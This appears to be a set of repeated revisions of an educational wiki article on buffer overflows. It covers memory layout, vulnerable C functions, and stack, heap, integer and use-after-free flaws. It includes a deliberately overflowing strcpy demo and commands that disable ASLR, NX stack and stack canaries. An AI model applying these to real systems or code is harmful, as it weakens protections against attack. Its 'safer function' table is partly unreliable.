where the code starts.

Stack overflows which alter return addresses, are one of the most dangerous methods of gaining unauthorized access to a system. They allow an attacker to circumvent standard program execution and potentially gain complete control. <ref name="One1996"/>

=== Heap-based Buffer Overflow ===
A program may not know at compile time how much memory it will need. Such segments can be allocated dynamically, during runtime, and will be placed on the heap.
Special system calls brk() and mmap() can be used by Linux programs to achieve that.
The functions malloc(), calloc(), realloc() and free() provide convenient wrapper functions around these system calls and help managing those memory segments. <ref name=”RE1”/>

To be efficient, any malloc() implementation stores a
lot of meta-data about the location of the chunks, the size of the chunks, and perhaps
some special areas for small chunks. It also organizes this information. In dlmalloc, it is
organized into buckets, and in many other malloc implementations it is organized into
a balanced tree structure. This information is stored in two places: in global variables
used by the malloc() implementation itself, and in the memory block before and / or
after the allocated user space. Thus, the heap contains important information about
the state of memory stored directly after any user-allocated buffer. <ref name=”RE1”/>

=== Use-After-Free Vulnerability ===
Use-after-free (UAF) vulnerabilities are a specialized form of a memory management bug occurring when a program tries to use a memory object even though it is already deallocated. This vulnerability can happen, because the pointer to the corresponding memory location may remain accessible, despite the memory itself being marked as accessible for other allocations. If a program tries to access this now-freed memory, it could cause some unexpected behavior or even a security breach. Since an attacker could exploit this "dangling pointer" to gain unauthorized access to the system or leak information meant to be kept confidential. <ref name="UAF">Byoungyoung Lee, Chengyu Song, Yeongjin Jang, Tielei Wang, Taesoo Kim, Long Lu, and Wenke Lee. Preventing use-after-free with dangling pointers nullification. In Network and Distributed System Security Symposium, 2015</ref>

== Mitigation Techniques and How to Disable Them ==
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.

=== Adress Space Layout Randomisation (ASLR) ===
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers. <ref name=”RE1”/> Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.

'''ASLR can be temporarily disabled''' at the system level (Linux):
<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>
Re-enable after testing:
<pre>
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

=== Non-executable Stack (nx-stack) ===
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. <ref name=”RE1”/>

To '''disable nx-stack''' on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:
<pre>
gcc -z execstack -o vulnerable_program source.c
</pre>

=== Data Execution Prevention (DEP) ===

Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.

=== Stack Canaries ===

Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. <ref name=”RE1”/>
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.

To '''disable stack canaries''' when compiling a program, use the -fno-stack-protector option with gcc:
<pre>
gcc -fno-stack-protector -o vulnerable_program source.c
</pre>

== Conclusion ==
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.

Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.

== References ==

<references />

* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]
* [https://dhanvina.medium.com/ariane-5-disaster-integer-overflow-space-requirements-b96f4dda8bdb Ariane 5 (2022, Innovative Bytes)]
* [https://www.researchgate.net/publication/281784645_Preventing_Use-after-free_with_Dangling_Pointers_Nullification Use-after-free bug (2015, Lee et al.)]

[[Category:Basic]]

Buffer Overflows

2024-12-11T17:12:10Z

AKofranek: /* Heap-based Buffer Overflow */

[[File:Buffer-overflow.png|500px|thumb|right|Buffer Overflow examle <ref name="BOB">What is a Buffer Overflow Attack, [Online]. Available: https://www.wallarm.com/what/buffer-overflow-attack-definition-types-use-by-hackers-part-1. Accessed: Dec. 11, 2024</ref>]]

== Introduction ==
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.

== Definitions ==

=== Buffer ===

A buffer is defined as a '''limited''', contiguously allocated set of memory. The most common buffer in C is an array. <ref name=”RE1”>C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007</ref>

=== Buffer Overflow ===

Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. <ref name=”RE1”/>

== Common Weakness Enumeration (CWE) ==

The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: <ref name=”MIT23a”> MITRE, "CVE Search Results for 'buffer overflow'," [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. </ref>

* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here:
<ref name="MIT23b">MITRE, "CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.</ref>
<ref name="MIT23c">MITRE, "CWE-788: Access of Memory Location After End of Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.</ref>

* CWE-788: Access of Memory Location After End of Buffer
* CWE-787: Out-of-bounds Write
* CWE-786: Access of Memory Location Before Start of Buffer
* CWE-125: Out-of-bounds Read
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)
* CWE-121: Stack-based Buffer Overflow
* CWE-122: Heap-based Buffer Overflow
* CWE-126: Buffer Over-read

== History ==
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one's own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is "jailbreaking" for Apple devices and "rooting" for Android devices. On Nintendo's game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.

While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit's mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That's why, when dealing with cybersecurity of any sort, there is no way past them.

== Technical Background and Context ==

=== Memory Layout of a Process ===

Informally, a process is a '''program in execution'''. The status of the current activity of a process is represented by the value of the '''program counter/instruction pointer''' and the content of the processor’s '''registers'''. Different parts of the program are stored in different memory segments, as shown in the figure below.

[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]

* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)
* Heap section: memory that is dynamically allocated during program run time
* Data section: global variables (initialized and uninitialized)
* Code/Text section: the executable, machine-readable bytecode

=== Readable, Writeable, Executable Memory ===

Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a '''Segmentation Fault'''.
<ref name="One1996">A. One, "Smashing the Stack for Fun and Profit," Phrack, vol. 7, no. 49, Nov. 1996.</ref>
All other sections have to be writeable in order for the process to work properly. <ref name=”RE1”/> Whether a section is '''executable''', will largely depend on the applied settings during compilation of the program and the platform on which it is executed.

=== The Stack and Important Control Structures ===

The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a '''function returns control''' to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. <ref name="One1996"/>

During a function call, arguments are pushed onto the stack in reverse order, and the '''return address''' (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:

* EIP (Instruction Pointer): Stores the next instruction's address.
* ESP (Stack Pointer): Points to the top of the stack.
* EBP (Base Pointer): Marks the base of the stack frame for the current function.

When a function is called, the stack is manipulated using '''PUSH''' and '''POP''' instructions. A '''return address''' is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially '''overwriting the return address'''. An attacker may '''overwrite the return pointer to redirect the flow of execution'''.

== Causes ==

=== C/C++: Vulnerable Functions ===
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++.
<ref name="Howard2009">M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.</ref>
When writing C code the programmer is responsible for '''data integrity'''. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful.
<ref name="Erickson2008">J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.</ref>

Some '''vulnerable functions''' from the C/C++ standard are listed here, each with their respective, saver counterpart:
{|class="wikitable"
! Vulnerable || Safer
|-
| strcpy() || strncpy()
|-
| gets() || fgets()
|-
| strcat() || strncat()
|-
| memcpy() || memmove()
|-
| scanf() || sscanf()
|-
| memset() || -
|}

=== IoT/Embedded Devices ===
"The constrained resources of embedded systems leads to the predominant use of the C language. This, along with the tight processing requirements, leave associated devices open to BOF based attacks." <ref name=””> G. Mullen and L. Meany, "Assessment of Buffer Overflow Based Attacks On an IoT Operating System," 2019 Global IoT Summit (GIoTS), Aarhus, Denmark, 2019, pp. 1-6, doi: 10.1109/GIOTS.2019.8766434.
</ref>

== Dangers ==

Arguably, the most significant consequence of a buffer overflow is when the attacker is able to execute their own malicious shellcode. Which is also referred to as arbitrary code execution. This way it is completely up to the attacker itself what they will do with the same privileges as the program on the level of the current user. Create a reverse shell to execute remote code, stealing data or even manipulate all settings of the system. By getting elevated privileges, the attacker would also be able to run code as an administrator or root. Another potential consequence is a Denial of Service (DoS) attack. Instead of executing code, the goal is to cause unpredictable behavior or crash the system by overwriting as much data as possible until the program is unable to handle it. The downtime of a program can be costly for large organizations. Data corruption, system instability, and information disclosure, are all potential consequences that can be caused by a buffer overflow. Consequently, it is up to the creativity of the attacker once a vulnerable code is identified.

Summed up these four are the main dangers:

* Data Corruption
* Program Crashes
* Exploitation: Control Flow Alteration
* Exploitation (via Shellcode Injection): Arbitrary Code Execution

== Types of Buffer Overflow Vulnerabilities ==

The following section will introduce descriptions and simple examples related to the most relevant categories of buffer overflow vulnerabilities. The distinction between Buffer Over-Read and Buffer Over-Write provides a basic categorization of the issues at hand. The respective sections will include simple, illustrative examples. The sections on Stack Buffer Overflow and Heap Buffer Overflow will present more complex examples, where the mechanics and control structures of each memory region are exploited. Note that Over-Read and Over-Write vulnerabilities can occur in both sections of process memory.

=== Buffer Over-Read ===

The following is a simple example of a Out-of-bounds read operation, that can be performed by a C program:

<pre>

#include <stdio.h>
#include <string.h>

int main(){

int array[5] = {1 ,2 ,3 ,4 ,5};
printf("%d\n", array[5]);

}
</pre>

This program illustrates a common error that new programmers might run into when learning about arrays: Referencing array[5] will eventually attempt to access its sixth element, although the array was only initialized to hold five elements. When this program is run, it will read beyond the bounds of the array and might produce unexpected results.

=== Buffer Over-Write ===
In this section, a simple Out-of-bounds write vulnerability will be examined. Although this particular example showcases a stack-based buffer overflow, we will use it to introduce the general concept of a over-write vulnerability and delve into specifically exploiting the stack's mechanics and control structures in the later section "Stack-based Buffer Overflow".

The following program deliberately uses the insecure strcpy()-function to copy a large string into a buffer, which is actually too small for the string. The following listing displays the complete source code.

<pre>
#include <stdio.h>
#include <string.h>

int main() {

char B[3] = "03"; // gets higher address on stack
char A[8] = "0000000"; // gets lower address on stack

printf("Before overflow: A = %s, B = %s\n", A, B);

strcpy(A, "excessive"); // dangerous
printf("After overflow: A = %s, B = %s\n", A, B);

return 0;
}
</pre>

Console output running the program (bash).
<pre>
Before overflow: A = 0000000, B = 03
After overflow: A = excessive, B = e
</pre>

Inspection of memory before the overflow (gdb).
The memory addresses on the left are the locations of the two buffers.
<pre>
0xffffcc85: 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x00
0xffffcc8d: 0x30 0x33 0x00
</pre>

Inspection of memory after the overflow (gdb).
<pre>
0xffffcc85: 0x65 0x78 0x63 0x65 0x73 0x73 0x69 0x76
0xffffcc8d: 0x65 0x00 0x00
</pre>

=== Integer Overflow ===
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.

unsigned char a = 255;
unsigned char b = 2;
unsigned char Result = a + b;

The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable "a," the value 255 is assigned, and for the variable "b," the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.

11111111 (a)
+ 00000010 (b)
----------
100000001 (Result)

The front one, the ninth bit, is no longer contained in the 8 bits of the data type ''unsigned char''. If only the last 8 bits were considered, the result would be 1 and not 257.

The Ariane 5 disaster of 1996 illustrates what can happen when integer overflows are not handled properly in the real world. The rocket was destroyed 37 seconds after launch because of a severe software error, which was caused by an integer overflow. This shows how unresolved integer overflows can have disastrous consequences, particularly in safety-critical systems like aerospace control software. The incident could have been prevented if there had been more robust input validation and error handling procedures, particularly during the conversion process from floating-point to integer data types. <ref name=”AR1”>Innovative Bytes, Ariane-5 disaster - (integer overflow - space requirements), Medium, October 2022</ref>

=== Stack-based Buffer Overflow ===

If more data is written to a buffer than the size assigned to it, there is a chance it could overwrite the adjacent memory. This is called a stack overflow. Since the memory overwritten contains valuable information like the return address, this exploitation is a prime target. As an example, consider an input string that gets copied to the stack from a vulnerable function, that does not validate the size. Whatever was written to this string, as long as it is longer than the size of the buffer, will overwrite memory next to the it. If an attacker creates a string that reaches the return address with a new address on purpose, the program will jump to this exact location after its execution. This type of attack is called "stack smashing". It is frequently used and is well-known in the context of buffer overflows. A common problem of stack smashing is how to guess the starting address of the own shellcode. Just by guessing or brute-forcing the exact return value, it would take the attacker a long time and an enormous number of attempts. This can be minimized by inserting a series of NOP instructions in front of the shellcode. A NOP instruction is a special operation which will push the execution one by one until it hits the malicious code. Adding as many NOP instructions as possible increases the chances of reaching the desired code. This means that as long as the return address points to any NOP instruction, the application will execute the shellcode and we do not have to directly hit address where the code starts.

Stack overflows which alter return addresses, are one of the most dangerous methods of gaining unauthorized access to a system. They allow an attacker to circumvent standard program execution and potentially gain complete control. <ref name="One1996"/>

=== Heap-based Buffer Overflow ===
A program may not know at compile time how much memory it will need. Such segments can be allocated dynamically, during runtime, and will be placed on the heap.
Special system calls brk() and mmap() can be used by Linux programs to achieve that.
The functions malloc(), calloc(), realloc() and free() provide convenient wrapper functions around these system calls and help managing those memory segments. <ref name=”RE1”/>

To be efficient, any malloc() implementation stores a
lot of meta-data about the location of the chunks, the size of the chunks, and perhaps
some special areas for small chunks. It also organizes this information. In dlmalloc, it is
organized into buckets, and in many other malloc implementations it is organized into
a balanced tree structure. This information is stored in two places: in global variables
used by the malloc() implementation itself, and in the memory block before and / or
after the allocated user space. Thus, the heap contains important information about
the state of memory stored directly after any user-allocated buffer. <ref name=”RE1”/>

=== Use-After-Free Vulnerability ===
Use-after-free (UAF) vulnerabilities are a specialized form of a memory management bug occurring when a program tries to use a memory object even though it is already deallocated. This vulnerability can happen, because the pointer to the corresponding memory location may remain accessible, despite the memory itself being marked as accessible for other allocations. If a program tries to access this now-freed memory, it could cause some unexpected behavior or even a security breach. Since an attacker could exploit this "dangling pointer" to gain unauthorized access to the system or leak information meant to be kept confidential. <ref name="UAF">Byoungyoung Lee, Chengyu Song, Yeongjin Jang, Tielei Wang, Taesoo Kim, Long Lu, and Wenke Lee. Preventing use-after-free with dangling pointers nullification. In Network and Distributed System Security Symposium, 2015</ref>

== Mitigation Techniques and How to Disable Them ==
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.

=== Adress Space Layout Randomisation (ASLR) ===
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers. <ref name=”RE1”/> Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.

'''ASLR can be temporarily disabled''' at the system level (Linux):
<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>
Re-enable after testing:
<pre>
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

=== Non-executable Stack (nx-stack) ===
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. <ref name=”RE1”/>

To '''disable nx-stack''' on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:
<pre>
gcc -z execstack -o vulnerable_program source.c
</pre>

=== Data Execution Prevention (DEP) ===

Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.

=== Stack Canaries ===

Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. <ref name=”RE1”/>
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.

To '''disable stack canaries''' when compiling a program, use the -fno-stack-protector option with gcc:
<pre>
gcc -fno-stack-protector -o vulnerable_program source.c
</pre>

== Conclusion ==
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.

Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.

== References ==

<references />

* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]
* [https://dhanvina.medium.com/ariane-5-disaster-integer-overflow-space-requirements-b96f4dda8bdb Ariane 5 (2022, Innovative Bytes)]
* [https://www.researchgate.net/publication/281784645_Preventing_Use-after-free_with_Dangling_Pointers_Nullification Use-after-free bug (2015, Lee et al.)]

[[Category:Basic]]

Buffer Overflows

2024-12-11T17:09:04Z

AKofranek: /* Heap-based Buffer Overflow */

[[File:Buffer-overflow.png|500px|thumb|right|Buffer Overflow examle <ref name="BOB">What is a Buffer Overflow Attack, [Online]. Available: https://www.wallarm.com/what/buffer-overflow-attack-definition-types-use-by-hackers-part-1. Accessed: Dec. 11, 2024</ref>]]

== Introduction ==
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.

== Definitions ==

=== Buffer ===

A buffer is defined as a '''limited''', contiguously allocated set of memory. The most common buffer in C is an array. <ref name=”RE1”>C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007</ref>

=== Buffer Overflow ===

Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. <ref name=”RE1”/>

== Common Weakness Enumeration (CWE) ==

The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: <ref name=”MIT23a”> MITRE, "CVE Search Results for 'buffer overflow'," [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. </ref>

* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here:
<ref name="MIT23b">MITRE, "CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.</ref>
<ref name="MIT23c">MITRE, "CWE-788: Access of Memory Location After End of Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.</ref>

* CWE-788: Access of Memory Location After End of Buffer
* CWE-787: Out-of-bounds Write
* CWE-786: Access of Memory Location Before Start of Buffer
* CWE-125: Out-of-bounds Read
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)
* CWE-121: Stack-based Buffer Overflow
* CWE-122: Heap-based Buffer Overflow
* CWE-126: Buffer Over-read

== History ==
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one's own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is "jailbreaking" for Apple devices and "rooting" for Android devices. On Nintendo's game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.

While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit's mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That's why, when dealing with cybersecurity of any sort, there is no way past them.

== Technical Background and Context ==

=== Memory Layout of a Process ===

Informally, a process is a '''program in execution'''. The status of the current activity of a process is represented by the value of the '''program counter/instruction pointer''' and the content of the processor’s '''registers'''. Different parts of the program are stored in different memory segments, as shown in the figure below.

[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]

* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)
* Heap section: memory that is dynamically allocated during program run time
* Data section: global variables (initialized and uninitialized)
* Code/Text section: the executable, machine-readable bytecode

=== Readable, Writeable, Executable Memory ===

Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a '''Segmentation Fault'''.
<ref name="One1996">A. One, "Smashing the Stack for Fun and Profit," Phrack, vol. 7, no. 49, Nov. 1996.</ref>
All other sections have to be writeable in order for the process to work properly. <ref name=”RE1”/> Whether a section is '''executable''', will largely depend on the applied settings during compilation of the program and the platform on which it is executed.

=== The Stack and Important Control Structures ===

The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a '''function returns control''' to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. <ref name="One1996"/>

During a function call, arguments are pushed onto the stack in reverse order, and the '''return address''' (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:

* EIP (Instruction Pointer): Stores the next instruction's address.
* ESP (Stack Pointer): Points to the top of the stack.
* EBP (Base Pointer): Marks the base of the stack frame for the current function.

When a function is called, the stack is manipulated using '''PUSH''' and '''POP''' instructions. A '''return address''' is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially '''overwriting the return address'''. An attacker may '''overwrite the return pointer to redirect the flow of execution'''.

== Causes ==

=== C/C++: Vulnerable Functions ===
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++.
<ref name="Howard2009">M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.</ref>
When writing C code the programmer is responsible for '''data integrity'''. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful.
<ref name="Erickson2008">J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.</ref>

Some '''vulnerable functions''' from the C/C++ standard are listed here, each with their respective, saver counterpart:
{|class="wikitable"
! Vulnerable || Safer
